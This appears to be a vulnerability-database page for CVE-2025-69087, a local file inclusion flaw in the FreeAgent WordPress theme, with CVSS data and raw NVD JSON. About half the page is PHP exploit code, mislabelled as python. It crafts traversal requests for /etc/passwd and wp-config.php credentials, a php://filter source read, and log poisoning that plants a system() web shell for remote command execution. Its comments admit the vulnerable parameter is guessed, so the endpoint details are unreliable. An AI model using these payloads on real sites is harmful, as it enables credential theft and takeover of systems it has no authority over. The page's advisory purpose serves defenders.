Security Vulnerability Report
中文
CVE-2025-69087 CVSS 8.1 HIGH

CVE-2025-69087

Published: 2026-01-05 11:17:42
Last Modified: 2026-04-23 15:36:20

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in jwsthemes FreeAgent freeagent allows PHP Local File Inclusion.This issue affects FreeAgent: from n/a through <= 2.1.2.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

FreeAgent Theme <= 2.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-69087 PoC - WordPress FreeAgent Theme Local File Inclusion * Author: Security Research Team * Note: This PoC is for educational and authorized testing purposes only */ // Example attack vectors for LFI in FreeAgent theme // The actual vulnerable parameter depends on the specific code location // PoC 1: Basic Local File Inclusion $poc1 = "GET /wp-content/themes/freeagent/includes/template-functions.php?template=../../../../../../etc/passwd HTTP/1.1\n"; $poc1 .= "Host: target.com\n"; $poc1 .= "User-Agent: Mozilla/5.0\n"; $poc1 .= "Connection: close\n\n"; // PoC 2: Read wp-config.php to extract database credentials $poc2 = "GET /wp-content/themes/freeagent/includes/template-functions.php?template=../../../../../../wp-config.php HTTP/1.1\n"; $poc2 .= "Host: target.com\n"; $poc2 .= "User-Agent: Mozilla/5.0\n"; $poc2 .= "Connection: close\n\n"; // PoC 3: PHP filter wrapper to read source code (when direct access is blocked) $poc3 = "GET /wp-content/themes/freeagent/includes/template-functions.php?template=php://filter/read=convert.base64-encode/resource=wp-config.php HTTP/1.1\n"; $poc3 .= "Host: target.com\n"; $poc3 .= "User-Agent: Mozilla/5.0\n"; $poc3 .= "Connection: close\n\n"; // PoC 4: Log poisoning for RCE // Step 1: Inject PHP code into access log // Step 2: Include the log file $poc4 = "GET /<?php system($_GET['cmd']); ?> HTTP/1.1\n"; $poc4 .= "Host: target.com\n"; $poc4 .= "User-Agent: Mozilla/5.0\n"; $poc4 .= "Connection: close\n\n"; // Step 2: Include the log file $poc4_2 = "GET /wp-content/themes/freeagent/includes/template-functions.php?template=../../../../../../var/log/apache2/access.log&cmd=id HTTP/1.1\n"; $poc4_2 .= "Host: target.com\n"; $poc4_2 .= "User-Agent: Mozilla/5.0\n"; $poc4_2 .= "Connection: close\n\n"; echo "CVE-2025-69087 PoC Code\n"; echo "Target: WordPress FreeAgent Theme <= 2.1.2\n"; echo "Vulnerability: Local File Inclusion\n"; echo "Use responsibly and only on systems you have permission to test.\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69087", "sourceIdentifier": "[email protected]", "published": "2026-01-05T11:17:42.420", "lastModified": "2026-04-23T15:36:20.200", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in jwsthemes FreeAgent freeagent allows PHP Local File Inclusion.This issue affects FreeAgent: from n/a through <= 2.1.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/freeagent/vulnerability/wordpress-freeagent-theme-2-1-2-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}